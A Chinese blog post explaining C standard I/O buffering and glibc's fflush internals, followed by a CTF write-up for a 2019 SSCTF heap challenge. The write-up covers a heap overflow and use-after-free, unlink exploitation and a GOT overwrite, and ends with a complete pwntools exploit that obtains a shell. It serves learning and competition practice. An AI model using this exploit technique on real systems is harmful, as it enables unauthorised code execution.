什么是标准io缓冲区_缓冲区机制详解

9c31d90092049654ebdbfdaf1dbb56b8.png 在最近的几场 比赛中,部分赛题牵扯到缓冲区的知识,之前对这块的知识还不够特别的理解,所以抽时间来总结一下。

一、什么是缓冲区机制

首先我们要知道什么是缓冲区 总的来说,缓冲区是内存空间的一部分,在内存中预留了一定的存储空间,用来暂时保存输入和输出等 I/O 操作的一些数据,这些预留的空间就叫做缓冲区; 而 buffer 缓冲区和 Cache 缓存区都属于缓冲区的一种 buffer 缓冲区存储速度不同步的设备或者优先级不同的设备之间的传输数据,比如键盘、鼠标等; 此外, buffer 一般是用在写入磁盘的; Cache 缓存区是位于CPU和主内存之间的容量较小但速度很快的存储器, Cache 保存着CPU刚用过的数据或循环使用的数据; Cache 缓存区的运用一般是在 I/O 的请求上 缓存区按性质分为两种,一种是输入缓冲区,另一种是输出缓冲区。 对于C、C++程序来言,类似cin、getchar等输入函数读取数据时,并不会直接从键盘上读取,而是遵循着一个过程: cingetchar --> 输入缓冲区 --> 键盘 ,我们从键盘上输入的字符先存到缓冲区里面, cingetchar 等函数是从缓冲区里面读取输入; 那么相对于输出来说,程序将要输出的结果并不会直接输出到屏幕当中区,而是先存放到输出缓存区,然后利用 coutputchar 等函数将缓冲区中的内容输出到屏幕上。 cincout 本质上都是对缓冲区中的内容进行操作

二、为什么使用缓冲区机制

减少CPU对磁盘的读写次数;CPU读取磁盘中的数据并不是直接读取磁盘,而是先将磁盘的内容读入到内存,也就是缓冲区,然后CPU对缓冲区进行读取,进而操作数据;计算机对缓冲区的操作时间远远小于对磁盘的操作时间,大大的加快了运行速度。下面一个图片描述的就是这样的一个过程

1411eff55cdb2337b38f589f03b66c78.png

提高CPU的执行效率;比如说使用打印机打印文档,打印的速度是相对比较慢的,我们操作CPU将要打印的内容输出到缓冲区中,然后CPU转手就可以做其他的操作,进而提高CPU的效率

合并读写; 比如说对于一个文件的数据,先读取后写入,循环执行10次,然后关闭文件,如果存在缓冲机制,那么就可能只有第一次读和最后一次写是真实操作,其他的操作都是在操作缓存

三、缓冲区的分类

缓冲区分为三大类: 全缓冲、行缓冲、无缓冲
  1. 全缓冲;只有在缓冲区被填满之后才会进行I/O操作;最典型的全缓冲就是对磁盘文件的读写。
  2. 行缓冲;只有在输入或者是输出中遇到换行符的时候才会进行I/O操作;这忠允许我们一次写一个字符,但是只有在写完一行之后才做I/O操作。一般来说,标准输入流(stdin)和标准输出流(stdout)是行缓冲。
  3. 无缓冲;标准I/O不缓存字符;其中表现最明显的就是标准错误输出流(stderr),这使得出错信息尽快的返回给用户。

四、对缓冲区操作的函数(C语言)

标准输出函数: printf、puts、putchar 等。 标准输入函数: scanf、gets、getchar 等。 IO_FILE: fopen、fwrite、fread、fseekfflush 函数的作用是清除缓冲区中的内容,如下所示(实验环境影响差距较大):
#include #include int main(){    int a;    char b;    scanf("%d", &a);    b = getchar();    printf("a = %d, b = %p n", a, b);    return 0;}
输入 123↙ ,程序输出如下:
一筐萝卜➜ test  ./test_1                       123↙a = 123, b = 0xa
在程序中添加上 fflush
#include #include int main(){    int a;    char b;    scanf("%d", &a);    fflush(stdin);    b = getchar();    printf("a = %d, b = %p n", a, b);    return 0;}
输入 123↙ ,程序输出如下
一筐萝卜➜ test  ./test_1                       123↙c↙a = 123, b = 0x63
可以看出来fflush的效果,那么现在跟进源码来看fflush是怎么处理的
此glibc源码的版本是2.23
/glibc-2.23/libio/iofflush.c:31
int_IO_fflush (_IO_FILE *fp){  if (fp == NULL)    return _IO_flush_all ();  else    {      int result;      CHECK_FILE (fp, EOF);      _IO_acquire_lock (fp);      result = _IO_SYNC (fp) ? EOF : 0;      _IO_release_lock (fp);      return result;    }}libc_hidden_def (_IO_fflush)
在这段代码里面最关键的就是调用了 vtable 中的 _IO_new_file_sync 函数,在这个函数中将标准输入流( stdin )刷新 /glibc-2.23/libio/fileops.c:867
int_IO_new_file_sync (_IO_FILE *fp){  _IO_ssize_t delta;  int retval = 0;  /*    char* ptr = cur_ptr(); */  if (fp->_IO_write_ptr > fp->_IO_write_base)    if (_IO_do_flush(fp)) return EOF;  delta = fp->_IO_read_ptr - fp->_IO_read_end;  if (delta != 0)    {#ifdef TODO      if (_IO_in_backup (fp))    delta -= eGptr () - Gbase ();#endif      _IO_off64_t new_pos = _IO_SYSSEEK (fp, delta, 1);      if (new_pos != (_IO_off64_t) EOF)    fp->_IO_read_end = fp->_IO_read_ptr;#ifdef ESPIPE      else if (errno == ESPIPE)    ; /* Ignore error from unseekable devices. */#endif      else    retval = EOF;    }  if (retval != EOF)    fp->_offset = _IO_pos_BAD;  /* FIXME: Cleanup - can this be shared? */  /*    setg(base(), ptr, ptr); */  return retval;}libc_hidden_ver (_IO_new_file_sync, _IO_file_sync)
另一个重要的函数就是 setbufsetvbuf ,这两个函数都是用来在程序中设置缓冲机制的。 具体的用法可以到菜鸟教程上详细的学习。 setbuf setvbuf

例子(2019SSCTF攻防赛-pwn)

该程序只开启了NX(堆栈不可执行)保护
一筐萝卜➜ sscft  checksec --file tinypad [*] '/root/sscft/tinypad'    Arch:     amd64-64-little    RELRO:    No RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)
拖到IDA中分析代码,main函数一目了然,典型的菜单题 在edit中存在任意长度输入,可造成堆溢出
int edit_node(){  int v1; // [rsp+8h] [rbp-8h]  int v2; // [rsp+Ch] [rbp-4h]  printf("enter the index of the node you want to edit:");  __isoc99_scanf((__int64)"%d", (__int64)&v2);  printf("please enter the length of the input:", &v2);  __isoc99_scanf((__int64)"%d", (__int64)&v1);  getchar();  printf("please enter the contents of the node:", &v1);  fread(name[v2], v1, 1uLL, stdin);  return puts("edit compete!");}
在delete中存在UAF
int delete_node(){  int v1; // [rsp+Ch] [rbp-4h]  printf("enter the index of the node you want to create:");  __isoc99_scanf((__int64)"%d", (__int64)&v1);  free(name[v1]);  return puts("delete complete!");}
我们利用堆溢出来伪造chunk,如图所示

c8c0707b89a966b98bf7f2043a286c3d.png

然后delete第二个chunk,进而触发 Unlink-Exploit

3d7c96efa7e137c89a80145e83374469.png

成功达到bss段上 name 的区域可控,第二步泄露libc地址,第三步覆盖 malloc_got 地址为后门函数的地址

0b51eeb719fc0ea4d8a5bdd1663a4d5a.png

最后调用create,获取到shell 可以看出来对该程序漏洞的利用并不难,但是由于该程序没有设置无缓冲,在pwn远程的时候没有回显,在比赛的时候没能打通远程服务器 我在本地搭建了该题目的环境,nc连接的时候同样是无回显

04dedd29badfee50c9ba94a9403be3e5.png

经过一番测试之后,发现如果把脚本中所有的 recv 函数都去掉之后,按照顺序发送 payload ,最后也能getshell。

d3b046713b46551537c415e84d1fbc30.png

完整exp:
from pwn import *context.log_level = 'debug'sl = lambda x : r.sendline(x)sd = lambda x : r.send(x)sla = lambda x,y : r.sendlineafter(x,y)rud = lambda x : r.recvuntil(x,drop=True)ru = lambda x : r.recvuntil(x)li = lambda name,x : log.info(name+":"+hex(x))ri = lambda : r.interactive()def create(index):    # ru("---------------------------")    sl(str(1))    sl(str(index))    # ru("create complete")def delete(index):    # ru("---------------------------")    sl(str(3))    sl(str(index))def edit(index,size,content):    # ru("---------------------------")    sl(str(2))    sl(str(index))    sl(str(size))    sl(content)def tiaoshi():    gdb.attach(r)    raw_input()def show(index):    # ru("---------------------------")    sl(str(4))    # ru("enter the index of the node you want to create:")    sl(str(index))# r = process("./tinypad")# r = remote("192.168.10.85",2019)r = remote("127.0.0.1",5556)file = ELF("./tinypad")shell = 0x0000000004009B6malloc_got = file.got['malloc']free_got = file.got['free']create(0)create(1)target = 0x0000000006012A0fd = target-0x18bk = target-0x10payload = "a"*8+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60+p64(0x80)+p64(0x90)edit(0,0x90,payload)delete(1)payload = "a"*24+p64(0x6012A0)+p64(malloc_got)+p64(free_got)edit(0,0x31,payload)payload = p64(shell)create(4)edit(1,0x8,payload)# ru("---------------------------")sl(str(1))sl(str(5))ri()

总结

虽然在这次比赛中没能用pwn题得分,但是总结了这次失败的经验和教训,总的来说收获还是挺大的。 本文如有不妥之处,敬请斧正。

87379cc81c30980c9d6fb583dd963d6f.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值